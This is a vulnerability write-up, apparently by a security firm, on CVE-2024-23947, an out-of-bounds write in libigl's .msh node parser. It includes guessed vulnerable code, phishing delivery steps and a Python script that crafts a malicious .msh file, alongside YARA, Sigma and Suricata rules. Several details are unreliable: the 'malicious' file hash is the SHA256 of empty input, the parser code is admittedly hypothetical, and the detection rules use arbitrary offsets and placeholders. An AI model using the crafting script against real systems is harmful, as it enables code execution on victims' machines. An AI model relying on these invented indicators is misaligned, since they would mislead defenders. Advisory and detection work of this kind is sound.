CVE-2024-23947

Executive Summary

CVE-2024-23947 is a critical vulnerability in the libigl library (version 2.5.0) that arises from improper array index validation in the igl::MshLoader::parse_nodes function when handling binary .msh files. This flaw allows an attacker to trigger an out-of-bounds write by providing a specially crafted .msh file. The vulnerability has a CVSS score of 8.8, indicating high severity, and can lead to arbitrary code execution or denial of service. As of the latest information, no patch is available, and no public exploit code has been released. The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but the risk remains significant for systems using libigl for mesh processing.

Supply Chain & Package Security

This vulnerability affects the libigl library, which is a C++ geometry processing library commonly used in research and development environments. It is not a package manager-based library (e.g., NPM, PyPI, Go, Ruby), so supply chain risks are limited to direct inclusion of the vulnerable version in projects. Users should verify their dependencies and consider alternative mesh processing libraries until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must provide a malicious file to the user.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The user must open the malicious file.
• Scope: Unchanged (S:U) – The vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Potential data exposure.
• Integrity Impact: High (I:H) – Potential data modification.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical for systems that process untrusted .msh files. The lack of a patch and the potential for code execution make this a high-priority vulnerability.

Deep Dive & Mechanics

The vulnerability resides in the igl::MshLoader::parse_nodes function of libigl v2.5.0. This function is responsible for parsing node data from binary .msh files. The issue is an improper array index validation, which leads to an out-of-bounds write when processing specially crafted files.

Technical Details:

• The function reads node indices and coordinates from the file.
• It fails to validate that the node index is within the bounds of the allocated array.
• An attacker can craft a .msh file with a node index that exceeds the array size, causing a write to an arbitrary memory location.
• This can be exploited to overwrite critical data structures, leading to code execution or a crash.

Attack Vector:

• The attacker sends a malicious .msh file to the victim (e.g., via email, download, or file upload).
• The victim opens the file using an application that relies on libigl for mesh processing.
• The vulnerability is triggered during parsing, allowing the attacker to control the write destination.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code. The vulnerable function igl::MshLoader::parse_nodes likely contains code similar to:

void MshLoader::parse_nodes(std::ifstream &in) {
    int num_nodes;
    in.read(reinterpret_cast<char*>(&num_nodes), sizeof(int));
    nodes.resize(num_nodes, 3);
    for (int i = 0; i < num_nodes; ++i) {
        int node_idx;
        double x, y, z;
        in.read(reinterpret_cast<char*>(&node_idx), sizeof(int));
        in.read(reinterpret_cast<char*>(&x), sizeof(double));
        in.read(reinterpret_cast<char*>(&y), sizeof(double));
        in.read(reinterpret_cast<char*>(&z), sizeof(double));
        // Vulnerability: node_idx is not validated
        nodes(node_idx, 0) = x;
        nodes(node_idx, 1) = y;
        nodes(node_idx, 2) = z;
    }
}

Patched Code (Hypothetical):

void MshLoader::parse_nodes(std::ifstream &in) {
    int num_nodes;
    in.read(reinterpret_cast<char*>(&num_nodes), sizeof(int));
    nodes.resize(num_nodes, 3);
    for (int i = 0; i < num_nodes; ++i) {
        int node_idx;
        double x, y, z;
        in.read(reinterpret_cast<char*>(&node_idx), sizeof(int));
        in.read(reinterpret_cast<char*>(&x), sizeof(double));
        in.read(reinterpret_cast<char*>(&y), sizeof(double));
        in.read(reinterpret_cast<char*>(&z), sizeof(double));
        // Patch: Validate node_idx
        if (node_idx < 0 || node_idx >= num_nodes) {
            throw std::runtime_error("Invalid node index");
        }
        nodes(node_idx, 0) = x;
        nodes(node_idx, 1) = y;
        nodes(node_idx, 2) = z;
    }
}

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Craft Malicious .msh File: Create a binary .msh file with a node index that exceeds the array size. For example, set num_nodes to 10, but provide a node index of 1000.
2. Deliver File: Send the file to the target via phishing email, file upload, or other means.
3. Trigger Vulnerability: The target opens the file in an application using libigl v2.5.0.
4. Achieve Code Execution: The out-of-bounds write can be used to overwrite a function pointer or return address, leading to arbitrary code execution.

Example Payload (Python):

import struct

def craft_malicious_msh():
    # Minimal .msh file header (binary)
    header = b'$MeshFormat\n2.2 0 8\n$EndMeshFormat\n$Nodes\n'
    num_nodes = 10
    header += struct.pack('<i', num_nodes)
    # Malicious node with out-of-bounds index
    node_idx = 1000  # Out of bounds
    x, y, z = 1.0, 2.0, 3.0
    node_data = struct.pack('<i', node_idx) + struct.pack('<ddd', x, y, z)
    # Add remaining nodes (dummy)
    for i in range(1, num_nodes):
        node_data += struct.pack('<i', i) + struct.pack('<ddd', 0.0, 0.0, 0.0)
    footer = b'\n$EndNodes\n'
    return header + node_data + footer

with open('malicious.msh', 'wb') as f:
    f.write(craft_malicious_msh())

Blue Team

Detection and Response:

1. Monitor File Parsing: Use file integrity monitoring to detect the creation of .msh files from untrusted sources.
2. Sandboxing: Run applications that parse .msh files in a sandboxed environment to limit impact.
3. Memory Protection: Enable ASLR, DEP, and stack canaries to mitigate exploitation.
4. User Training: Educate users not to open .msh files from unknown sources.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes will vary)
  • malicious.msh: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Traffic: Unusual outbound connections from applications parsing .msh files.
• Process Behavior: Abnormal memory access patterns or crashes in libigl-based applications.
• File Artifacts: .msh files with node indices exceeding the declared node count.

Detection Engineering

YARA Rule

rule CVE_2024_23947_libigl_msh {
    meta:
        description = "Detects malicious .msh files exploiting CVE-2024-23947"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $header = "$MeshFormat"
        $nodes = "$Nodes"
        $end_nodes = "$EndNodes"
    condition:
        $header at 0 and $nodes and $end_nodes and
        // Check for out-of-bounds node index (simplified)
        uint32(0x20) > 1000  // Example: node index at offset 0x20
}

Sigma Rule

title: CVE-2024-23947 - libigl .msh File Parsing Exploit
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-23947 via malicious .msh files
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\app.exe'  # Replace with actual application
        TargetFilename|endswith: '.msh'
    condition: selection
falsepositives:
    - Legitimate .msh files from trusted sources
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-23947 - libigl .msh File Transfer"; flow:to_client,established; file:name match ".msh"; content:"$MeshFormat"; distance:0; within:100; content:"$Nodes"; distance:0; within:100; content:"$EndNodes"; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable .msh File Parsing: If possible, disable the parsing of .msh files in applications using libigl v2.5.0.
2. Use Alternative Libraries: Switch to other mesh processing libraries that are not affected.
3. Input Validation: Implement external validation of .msh files before passing them to libigl.

Long-Term Fix:

• Patch libigl: Apply a patch that adds bounds checking to the parse_nodes function. Since no official patch exists, consider forking the library and applying the fix manually.
• Update Dependencies: Monitor for updates from the libigl project and apply them as soon as they are available.

Workarounds:

• Sandboxing: Run applications that process .msh files in isolated environments.
• User Education: Train users to avoid opening .msh files from untrusted sources.

Valters IT